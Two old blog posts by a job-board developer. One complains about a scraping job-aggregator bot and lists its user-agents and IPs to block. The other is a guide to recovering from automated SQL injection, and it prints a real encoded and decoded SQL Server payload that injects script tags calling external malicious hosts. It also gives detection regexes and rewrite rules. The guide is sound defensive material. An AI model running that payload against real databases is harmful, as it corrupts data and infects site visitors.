Monday, 1 December 2008

Job Rapists and other badly behaved bots

How bad does a bot have to be before banning it?

I had to ban a particular naughty crawler the other day that belonged to one of the many job aggregators that spring up ever so regularly. This particular bot belonged to a site called jobrapido which one of my customers calls "that job rapist" for the very good reason that it seems to think that any job posted on a jobboard is theirs to take without asking either the job poster or site owner that its posted on. Wheres the good aggregators such as JobsUK require that the job poster or jobboard submits a regular XML feed of their jobs rapido just seems to endlessly crawl and crawl every site they know about and just take whatever they find. In fact on their home page they state the following:

Do you know a job site that does not appear in Jobrapido? Write to us!

Isn't that nice? Anyone can help them thieve, rape and pillage another sites jobs. Maybe there is some bonus point system for regular informers. Times are hard as we all know and people have to get their money where they can! However it shouldn't be from taking other peoples content unrequested.

This particular bot crawls so much it actually made one of our tiniest jobboards appear in our top 5 rankings one month purely from its crawling alone. The site had less than 50 jobs but a lot of categories which meant that this bot decided to visit each day and crawl every single search combination which meant 50,000 page loads a day!

Although this rapido site did link back to the original site that posted the job to allow the jobseeker to apply to the job the amount of referrals was tiny (150 a day across all 100+ of our sites) compared to the huge amount of bandwidth it was stealing from us (16-20% of all traffic). It was regularly ranked above Googlebot, MSN and Yahoo as the biggest crawler in my daily server reports as well as being the biggest hitter (page requests / time).

So I tried banning it using robots.txt directives as any legal well behaved bot should pay attention to that file however 2 weeks after adding all 3 of their agents to the file they were still paying us visits each day and no bot should cache the file for that length of time so I banned it using the htaccess file.

So if you work in the jobboard business and don't want a particular heavy bandwidth thief, content scrapper and robots.txt file ignorer hitting your sites every day then do yourself a favour and ban these agents and IP addresses:

Mozilla/5.0 (compatible; Jobrapido/1.1; +http://www.jobrapido.com)

"Mozilla/5.0 (compatible; Jobrapido/1.1; +http://www.jobrapido.com)"

Mozilla/5.0 (JobRapido WebPump)

85.214.130.145
85.214.124.254
85.214.20.207
85.214.66.152

If you want a good UK Job Aggregator that doesn't pinch sites jobs without asking first then use JobsUK. Its simple to use and has thousands of new jobs from hundreds of jobboards added every day.

Wednesday, 3 September 2008

Recovering from an SQL injection hack

Are SQL injection Attacks on the increase?

SQL injection attacks seem to be on the rise lately not because there are more dedicated hackers spending time trying to exploit sites but because most of the successful attacks are caused by bots that trawl the net 24/7 hammering sites. Now we all supposedly should know by now how to prevent SQL injection from affecting your systems but if you have a large back catalogue of older sites that were created years ago that are still in production then they are going to be very vulnerable in the current climate. Even if these sites receive little or no traffic normally if they are accessible on the Internet they are much more likely to become victim because of these bots.

This article will look at the various ways of preventing and recovering from an attack without having to spend months re-writing all those old sites to future proof them. If people still use these old sites then they should be expected to work and not greet the user with Googles Reported Hack Site page. However we all know time is money and the money is in new developments not rewriting that old online ladies shoe catalogue that was written in 98.


Latest forms of SQL Injection

Currently the biggest automated SQL injection attack comes from derivatives of the following:
;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×4445434C415245204054207661726368617228323535
292C4043207661263686172283430303029204445434C415245205461626C655F437572736F7220
435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073797
36F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420
616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747
970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50
454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30
2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432
B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207
76865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637269
7074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7323E3C2F7363726970
743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F722
0494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C
4F43415445205461626C655F437572736F72%20AS%20NVARCHAR(4000));EXEC(@S);


Which tries to obfuscate the main section of the code by using a local variable to hold an encoded string that is then decoded and executed. If we decode the main section we can see that the code is making use of the system tables to loop through all textual columns and inserting script tags that reference a compromised site.
;DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://www.vtg43.ru/script.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://www.vtg43.ru/script.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor


There are numerous variations of this hack with the major differences being
-The URI of the SCRIPT tag injected into the columns.
-The name and datatype of the main variable.
-Whether the UPDATE statement inserts the SCRIPT tag at the start or end of existing data or overwrites it totally.

See my post latest SQL injection URIs for a list of the sites currently doing the rounds.

So before we look at the various hack sticking plasters that can be applied lets just clarify that the best way to avoid SQL injection is to design and develop your site following best practise guidelines.

The best security is a layered approach that involves multiple barriers to make these pesky bots life as difficult as possible. So just to ensure that you all know that I am not recommending a plaster as the number 1 SQL injection prevention method I will just summarise some of the best practises that should be utilised when developing new systems.


Prevention with good design.

The following should all be common knowledge by now as SQL injection is not some newly discovered threat against web kind but has been around and evolving for many years. When developing new sites or upgrading legacy systems you should try to follow these basic rules as developing with this threat in mind as apposed to an after thought will always be the best mode of prevention.
  • Validate all input taken from the client application that is to be passed to the database using a white list rather than blacklisting approach. This basically means rather than stripping out certain characters and symbols only allow those that the field you are updating requires. This means checking the data type and length of the value and handling anything inappropriate.
  • Use stored procedures or parametrised queries. Let ADO handle any data type conversions and quote escaping. If you are used to building up strings to execute then this means you have to rely on your own foolproof coding skills to ensure that each value appended to the string is the correct format and escaped correctly. You may think that you would never make such a stupid mistake as to forget to validate each value you add to the string but say you were off ill one day or on holiday and a junior or a colleague had to make an edit to a page on your site. For example if the required amend is to add a listbox to a page that lists news articles to allow the user to filter by a particular news category that is identified and retrieved from the database using an integer. If they forget to validate the value supplied from the listbox to make sure it was an integer then you can be guaranteed that one of these automated hack bots will exploit it within days if not hours of the change going live. I have had this exact same situation happen myself on a major system. When the change made by my colleague went live at 11pm at night by 7am the following morning the whole site had been compromised because of this one lapse in their concentration. If you think that using command objects and parameters are too long winded and complicated to write then create yourself a helper script that will make use of the commands parameter.refresh method to build the code up you require.
  • Only grant the database logon that the website users connect with the minimum privileges they require. Don't give them automatic write access and make sure all your CUD (create, update, delete) operations are carried out from stored procedures that the user has execute permission on. I know a lot of people do not like the overhead of creating a stored procedure for simple SELECTs that may only exist to populate a dropdown and therefore use a mixture of stored procedures and client side dynamic SQL which is fine but by following this rule then even if the hacker finds a hole in one of your client side SELECT statements to exploit they would not have the sufficient privileges to update the database.
  • If you have to use dynamic SQL in stored procedures that accept values from the site then use sp_executesql and not exec. A hacker could still exploit your system if you executed an unvalidated string within a stored procedure using exec(). You will also gain benefits from the system caching and therefore reusing the generated query plans when you use this system procedure to execute your dynamic SQL instead of exec.
  • Make life hard for the hackers and don't show detailed error messages to your users when something goes wrong. Although the automated hack bots are using brute force to hit every possible URL and parameter possible in the hope of finding a hole a dedicated hacker probing your site feeds off the details provided to him when he comes across a 500 error. Although its still possible to exploit a site in the blind its a lot harder and more time consuming than having the details of the SQL you are manipulating in front of you. Its amazing how many sites I still come across that show the SQL statement in the error messages. In fact a very popular developer resource site (I will mention no names) that hosts message boards and technical articles including some about SQL injection best practises continues to show me the SQL statement it uses to log members in when I visit and it times out. End users do not need to see this information as its dangerous. Show them a nice friendly error message and then email yourself the details or log them to a file or database if you really need to know what caused the error.

Oops someone just hacked your site.


So you have just had a phone call from an angry customer complaining about a virus they have just been infected with because they still use IE 5 to browse the web and they have just visited the home page of their site that your company hosts. Or maybe you have received one of Googles nice warning messages when you try to access the site yourself. Or maybe you just noticed the layout is screwed up because of broken tags and truncated HTML due to newly inserted SCRIPT tags that shouldn't be there. However you found the wonderful news out that your site has been exploited you need to get moving as fast as possible and you need to know 2 main things:
1. How did they managed to hack the site.
2. How much data has been compromised or even worse deleted.


Find the hole in the system.

There are many security and logging systems available for purchase but I have a custom logging system on my sites that at the bottom of each page will log to a separate database some core information about the user and the page they are on (user-agent, client IP, URL etc) as well as using this for reporting traffic and user statistics I have columns called IsHackAttempt and IsError and a timed MS Agent job that every 15 minutes looks at the last 15 minutes of unchecked traffic data and checks the query-string for common SQL/XSS injection fingerprints. If it finds any then I update the IsHackAttempt flag.

This enables me to run a report of all hack attempts over a set time period. You may find on large systems that you are constantly under attack from these bots so you should look for hack attempts that have been on pages that have just been updated or that have caused 500 errors. If you have SQL injection attempts that cause any sort of 500 error then you should investigate immediately as something is not right. If a hacker can raise an SQL error on your system then it means its highly probable they can manipulate your SQL probably due to incorrect parameter sanitization.

If you don't have your own custom logging system then you can either hunt through your log files using a tool such as Microsoft's Log Parser http://www.securityfocus.com/infocus/1712 or bulk load the log files into a database for easy searching using SQL.

Some keywords and terms you should be looking for in GET data that would indicate an SQL hack attempt would include: exec, select, drop, delete, sys.objects, sysobjects, sys.columns, syscolumns, cast, varchar, user, @@version, @@servername, declare, update, table.

Most hacks will be through the query-string and therefore you should be able to find the hack in the log file. Hacks from a posted request will not be discovered in the log file unless you have written a custom method to log POST data which I doubt many people do due to the overhead.


Use a bot to beat the bots
.

There are many tools out there which help you find holes in your site and unfortunately they are also used by hackers to find the holes in your site so do yourself a favour and beat them to it.

Before any site goes live you should run a tool such as Paros Proxy http://www.parosproxy.org which will crawl your site and output a nice report detailing all possible exploitable holes in your system. As well as SQL injection it will look for XSS, CRLF and many other possible hacks. Run this against your development system as running it on the production system will slow it down as well as possibly filling your database up with crap if you do have exploitable holes. Once you have run this tool view the report and investigate all pages that have been flagged as possible sources for a hacker to hit.


A database restore is not always the answer
.

The most common automated hacks at the moment involve an encoded SQL command that makes use of the system views available in SQL Server to output multiple UPDATE statements to insert a <script> tag in every possible text based column (char, varchar, nchar, nvarchar, text, ntext) in the database. This script will usually reference a .js file on some URL that tries to exploit well known holes in some older browsers through IFrames to download viruses and other spyware to the clients PC. Once you know the actual <script> tag that the exploit is using you can search your database to see how much data has been affected. It maybe that a backup restoration is not required and there is no point loosing customer data by restoring the last known safe backup when its not required.


Hunting for affected rows and columns
.

Using a script such as my find text within database script you can see how much of your data is affected. It maybe that the SQL run by the hacker reached its command timeout limit before it could affect all your tables and especially if you have a large database system only a small percentage of the data could be affected. Its also important to know whether the hacker has purposely or accidentally overwritten or deleted any data as well as inserting his <script> tag. I have seen hacks where the value for the column being updated was wrapped in a CAST(column as VARCHAR) statement which meant that anything after 30 characters was lost. This is because the default length when no value is supplied for a CAST Varchar/Char is 30 characters long. This would mean your column would contain your reference to the virus infected site and nothing else and in this case a simple replace would not be helpful as even if you removed it you would still be missing data.

If the hacker has only inserted the <script> at the start or the end of the existing text which seems to be the most common type then we can easily remove the offending HTML by either using a script like my find and replace or reversing the code that the hacker used in the first place.

To reverse engineer the exploit you should URLDecode the string, remove any EXEC(@s) statement at the end so you don't accidentally run it again and replace it with a PRINT or SELECT so that when you run the SQL you will actually see the CURSOR/LOOP that the exploit is using. You can then replace the hackers UPDATE statement with one that REPLACEs the injected code with nothing.


Preventing re-infection.

Now we have removed the offending HTML or Javascript we need to ensure that we don't get re-infected. If we haven't managed to find the code that allowed the hacker in and we haven't got time to either check each page or rewrite the code to future proof it then we need some sticking plasters until we do get time. I wouldn't recommend the following approaches as the only way to prevent SQL injection. However if you have a number of old sites on a server that have holes and are repeatedly getting hit then they will most certainly help filter out a large percentage of possible hack attempts and they could also be used as another layer in your multi layered security approach.


Identify those bad bots and redirect them away from your site.

If you have been logging your users and hackers then you could try blocking future hackers in a number of ways.

  • Block IP addresses that have been the source of hack attempts at your firewall. However the problem with this is that the IP addresses will change constantly and you are blocking after the attack has occurred.
  • If your site is supposed to be a local or regional site e.g a UK jobs board then you may decide that only traffic from the UK or Europe should be allowed. You could identify the countries that generate the most hack attempts from your traffic data and then block ranges belonging to those countries. To find out the IP ranges for any country use a site such as Country IP Blocks. The problem with this approach is that in a global economy legitimate traffic could come from anywhere in the world and although China seems to be the source of the majority of the current hackbots it is also going to become the worlds major economy in the next few years so blocking the whole country may not be the best approach.
  • Block by user-agent. This will only work for those hackers that don't spoof legitimate browsers and use easily identifiable agents such as Rippers or Fake IE. Why would a legitimate user have a browser named Fake IE?? I do not know either but you could block either through application code or through an ISAPI rewrite rule. There is no point using robots.txt as any hacker worthy of the name is going to ignore that.

Identify hackers as they attack your site.

Create a global include file that can be referenced by all your pages and place it at the top of all other includes so its the first piece of code run by your site. Create a function that takes the Request.Querystring and Request.Form as parameters and check for common SQL injection fingerprints. If found redirect the user to a banned page.

I have also heard the idea that on this banned page you could try and gain some revenge by running an SQL WAIT statement to consume the attackers connection time and slow them down a tad. However if you have a limit on the number of concurrent open database connections and you are being hammered by a zombie botnet then you are going to consume your connections with these WAIT commands which will be detrimental to your other legitimate visitors. This could also be used against you as a form of SQL Denial of Service attack as if a user could automate a series of requests to these pages knowing that you have a connection limit then once all the connections have been used up your site is basically out of action until a connection is released. On a database driven site this is something to be very aware of.

A message on the page informing them that they have been identified and logged will not do much good either considering most of these bots originate overseas and come from anonymous proxies or unsuspecting users who have become members of a zombie network but its worth doing anyway just to scare those teenage hackers based in your own country who may be experimenting.

Your function could look a bit like this. The code is in VBScript due to its easy readability and I'm sure most people could convert it to their preferred language with little work.
Dim blBanUser : blBanUser = False
blBanUser = BanUser(Request.Querystring)
If Not(blBanUser) Then
blBanUser = BanUser(Request.Form)
End If

If (blBanUser) Then
Response.Redirect("/banned.asp")
End If

Function BanUser(strIN)

strIN = URLDecode(strIN)

Dim objRegExpr : Set objRegExpr = New RegExp

With objRegExpr
.IgnoreCase = True
.Global = True
.Pattern = "DECLARE @\w+ N?VARCHAR\((?:\d{1,4}|max)\)"
If .Test(strIN) Then
BanUser = True
Exit Function
End If
.Pattern = "sys.?(?:objects|columns|tables)"
If .Test(strIN) Then
BanUser = True
Exit Function
End If
.Pattern = ";EXEC\(@\w+\);?"
If .Test(strIN) Then
BanUser = True
Exit Function
End If
End With

Set objRegExpr = Nothing

BanUser = False
End Function
Rather than just logging attempted or successful hack attempts for reporting later this type of plaster will prevent the most common SQL injections that are currently being executed by bots. I found that after implementing this function on a site that was receiving up to 2000 hack attempts each day it dropped down to 2-5 per day.

The problems with this approach are that it will slow down the response time of your site as every page load is going to have to perform these checks and the more data you submit the more there is to check. You could extend it but the more checking you do the slower it will get.

You may also decide that as the majority of hacks come through the query-string that checking the post data is not required. Also this method only checks for a few fingerprints and the SQL injections are changing all the time. It may catch 99% of the attacks currently out there but who is to say that a new type of attack that doesn't use those system tables or exec won't be rolled out in the following days. This is why some sort of logging and hack identifying system is advisable as it means you can see the types of attack that are being used against you and then modify any defensive regular expressions as required.


ISAPI Filtering.

If you have the ability to add ISAPI rewriting to your site then you can place rules that do similar regular expression fingerprint checks as the function above but before any application code is run by placing rules in an httpd.ini or .htaccess file. You can do this for one site or for the whole server.

The benefits of using ISAPI rewriting is that it will be faster than getting your application to check for hack fingerprints plus you can apply the plaster to the whole server in one hit for maximum affect. The downside is that you can only check the query-string and not the post data. You also have the same issues about injection methods changing and having to update the file.

You could use the following 3 rules to prevent the majority of the automated hack bots at the moment. I have implemented these rules on my own sites and it has reduced the amount of hacks that get logged by roughly 95%.
# SQL INJECTION FINGERPRINTING
RewriteRule /.*?\.asp\?.*?DECLARE[^a-z]+\@\w+[^a-z]+N?VARCHAR\((?:\d{1,4}|max)\).* /jobboard/error-pages/banned.asp [I,L,U]
RewriteRule /.*?\.asp\?.*?sys.?(?:objects|columns|tables).* /jobboard/error-pages/banned.asp [I,L,U]
RewriteRule /(?:.*?\.asp\?.*?);EXEC\(\@\w+\);?.* /jobboard/error-pages/banned.asp [I,L,U]



Block access to system views
.

A lot of the most current hacks make use of the system views that are available in SQL Server that list out all the tables, columns, data types and any other useful information that would be a goldmine to a hacker. Giving them access to these tables is like doing their work for them. They don't need to guess what names you have given the tables and columns in your database as they have access to a list of all of them and can easily create a statement to loop through those of interest to create havoc.

In the majority of cases your website would not need access to these views so blocking them would have no detremential affect however you should verify this first with developers and DBA's. I personally tend to use them in parts of the system where I allow certain admin users to upload data into the system. It enables me to output the correct format for the upload (data type, column size, allow nulls etc) without having to worry about changing code if a column gets modified. So there are perfectly valid reasons that your site may need access to these views however if your site doesn't then deny access to your website user as although it will not stop all SQL injection attacks it will stop the current crop of automated bots that make use of the system views to create the necessary UPDATE statements. So although not perfect if your system doesn't require access to them its another useful layer of protection to add.


Conclusion

SQL injection is on the rise due to automated bots which means any and all sites available on the internet could fall victim. New sites should be developed with this in mind and should be implemented with a multi layered approach to prevention. This should take the form of data validation, parameterized queries and stored procedures, least privllege access to users including denying access to system views, hiding error messages from users and the logging of hack attempts so that defenses can be kept up to date.

For a detailed look at SQL injection methods http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/.

Article about preventing SQL injection attacks in ASP.NET http://msdn.microsoft.com/en-us/library/ms998271.aspx